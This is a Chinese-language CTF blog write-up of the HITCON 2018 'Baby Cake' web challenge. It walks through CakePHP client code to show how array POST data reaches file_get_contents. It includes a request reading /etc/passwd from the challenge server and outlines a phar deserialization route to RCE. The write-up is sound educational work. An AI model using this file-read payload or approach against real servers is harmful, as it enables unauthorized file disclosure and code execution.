iT邦幫忙

2019 iT 邦幫忙鐵人賽

DAY 8
0
Security

CTF30系列 第 8

CTF 6: Baby Cake (Part 2) (Web, HITCON CTF 2018)

  • 分享至 

  • xImage
  •  

物件初始化

PHP 物件初始化時會呼叫它的 __construct 函式。故我們可以先從此處開始看:

public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
    ...
    $this->body($data);
}
public function body($body = null)
{
    if ($body === null) {
        $body = $this->getBody();

        return $body ? $body->__toString() : '';
    }
    if (is_array($body)) {
        $formData = new FormData();
        $formData->addMany($body);
        $this->header('Content-Type', $formData->contentType());
        $body = (string)$formData;
    }
    $stream = new Stream('php://memory', 'rw');
    $stream->write($body);
    $this->stream = $stream;

    return $this;
}

所以,假設我們能想辦法傳陣列給 $body,就會用 Cake/Http/FormdataaddMany 來處理它。addMany 背後其實是用 for 迴圈去呼叫 add

如果 $body 的元素不是陣列,則呼叫 addFile()。我們檢查這個函式:

public function addFile($name, $value)
{
    $this->_hasFile = true;

    $filename = false;
    $contentType = 'application/octet-stream';
    if (is_resource($value)) {
        $content = stream_get_contents($value);
        if (stream_is_local($value)) {
            $finfo = new finfo(FILEINFO_MIME);
            $metadata = stream_get_meta_data($value);
            $contentType = $finfo->file($metadata['uri']);
            $filename = basename($metadata['uri']);
        }
    } else {
        $finfo = new finfo(FILEINFO_MIME);
        $value = substr($value, 1);
        $filename = basename($value);
        $content = file_get_contents($value);
        $contentType = $finfo->file($value);
    }
    $part = $this->newPart($name, $content);
    $part->type($contentType);
    if ($filename) {
        $part->filename($filename);
    }
    $this->add($part);

    return $part;
}

如果我們能夠走到 else 的執行路徑,則我們可以用 GET 的 data 來控制 file_get_contents 的內容。看起來應該可以用 讀檔 來打這題?

讀檔

因為參數中間會用 is_resource 來檢查是不是真的網址,不過 http:// 也會過,所以我們可以試著傳這個過去:

POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd

由於 PHP 可以從 GET query 傳陣列的「特性」,故我們可以成功傳陣列進去。此時可以讀檔了,但這題目中的 flag 是個執行檔,故這招無效。所以我們必須 RCE ...

RCE

在第一篇中有提到,伺服器會把看過的網頁給存成快取,放在檔案系統裡面。從讀檔的時候,我們可以得知我們的路徑是從 /var/www 開始,故目標大概會是:

/var/www/html/tmp/cache/mycache/CLIENT_IP/${md5(url)}/body.cache

因爲 PHP 反序列化時,會把物件給初始化,呼叫 __construct,故我們可以找一些有趣的 class 來用。其中一個就是 phar。 (其實此題作者出過 Phar RCE 的題目 GitHub - orangetw/My-CTF-Web-Challenges: Collection of CTF Web challenges I made)

基本上這題在 RCE 後就結束了。我們下期會來研究爲何 Phar 等 magic method 可以用來 RCE。

參考資源

https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake
https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017


上一篇
CTF 6: Baby Cake (Web, HITCON CTF 2018)
下一篇
CTF 6: PHP Object Objection
系列文
CTF3030
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言